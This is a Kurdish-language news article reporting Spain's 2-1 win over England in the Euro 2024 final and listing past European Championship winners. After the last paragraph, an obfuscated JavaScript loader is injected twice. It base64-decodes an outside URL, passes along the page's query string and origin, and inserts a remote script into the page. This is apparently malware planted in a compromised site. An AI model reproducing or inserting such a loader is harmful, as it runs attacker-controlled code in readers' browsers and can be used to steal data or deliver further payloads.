ئسپانیا بوو قارەمان و ئیمپراتۆریا ئۆرۆپا وەرگرت
هەلبژارتیێ ئسپانیا بوو شاهێ ئۆرۆپا و شیا ب گەهیتە ستێرا خوە یا چارێ و ئیمپراتۆریا ئۆرۆپا وەرگرت، پشتی د یارییا فینالا یۆرۆیا 2024ێ دا سەركەفتنەكا دیرۆكی ل سەر هەلبژارتیێ ئنگلتەرا ئینای ب دو گۆلان بەرانبەر گۆلەكێ، د یارییا واندا ئەوا شەڤا بۆری ل یاریگەها ئۆلمپی یا نێڤدەولەتی ل پایتەختێ ئەلمانیا بەرلین هاتیە كرن.
نیڤا ئێكێ یا یاریێ هەردو هەلبژارتیان یاریەكا ب ترس و هوشدار دكرن ژبەركو یارییەكا دیرۆكی و ناسناڤی یە، سەرباری هێرشێن بەردەوام یێن هەردولا ل سەر گۆلێن ئێكودو، بزاڤێن ئسپانیا ل سەر گۆلا ئنگلتەرا خۆرتربوون و بەردەوامبوون د بەرانبەر دا یاریزانێن ئنگلتەرایێ ژی بزاڤ هەبوون لێ چو ژ ئەنجامی نە هاتە گوهۆڕین ئەوا ئەڤ نیڤە بێ گۆل وەكهەڤ بووین، د نیڤا دویێ دا ئاستێ یاریێ ب هێزتر لێهات و گڤاشتن دناڤبەرا هەردو هەلبژارتییان دا پەیدابوو، هەر ژ دەستپێكا ڤێ نیڤێ ئسپانیا شیا دربەكێ ل ئنگلتەرا بدەت پشتی یاریزانێ وێ نیكۆ وێلیامز د خولەكا 47ێ دا گۆلاپێشكەفتنێ تۆمرك، پشتی ڤێ گۆلێ یاری ئاگری بوو هەلبژارتیێ ئنگلتەرا ب هەمی هێزا خوە شەڕ بۆ گۆلا وەكهەڤیێ و ڤەگەڕاندنێ كر د بەرانبەردا ئسپانیا ژی نە راوەستییان بەلكو بەردەوامبوو ل سەر هێرشان، دەرئەنجامێ گڤاشتنێن بەردەوام كۆل بالمێر شیا گۆلا وەكهەڤیێ بۆ ئنگلتەرایێ بینت، یاری زێدەتر شاریا و ئسپانیا نە راوەستیا هەتا شیایی گۆلا دویێ بینت ئەوا ژلایێ یاریزانێ وێ پێگهۆر میشێل ئۆریارزابال د خولەكا 82ێ دا تۆماركر،
ب ڤێ ناسناڤی هەلبژارتیێ ئسپانیا ستێرا خوە گەهاندە یا چارێ پشتی هەر سێ ناسناڤێن دی یێن سالێن 2008، 2010 و 2012ێ و ریكۆردەكا دیرۆكی تۆمار كر ئەوژی چو هەلبژارتیێن ئۆرۆپا نەشیایە چار جارا ل دووڤ ئێك ب گەهیتە یارییا دووماهیێ و ناسناڤی ژی ب دەستڤە بینت.
بۆ زانین ل دووڤ دیرۆكا كۆپا ئۆرۆپا ئێكەم قارەمانی ل سالا 1960 هاتییە كرن وی دەمی هەلبژارتیێ ئێكەتییا سوڤیەتی ئێكەم ناسناڤ ب دەستڤە ئینابوو، ب گشتی 16 قارەمانی هاتینە ئەنجامدان هەر ژ سالا ناڤهاتی، هەلبژارتیێ ئسپانیا چار ناسناڤ پترترین ناسناڤ، ئەلمانیا سێ جاران ناسناڤ ب دەستڤە ئینایە، هەردو هەلبژارتیێن ئیتالیا و فرەنسا دو جاران، هەر ئێك ژ پۆرتۆگال، یونانستان، دانیمارك، هولەندا، چیكوسلۆڤاكیا و ئێكەتییا سوڤیەتی جارەكێ ب دەستڤە ئیناینە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
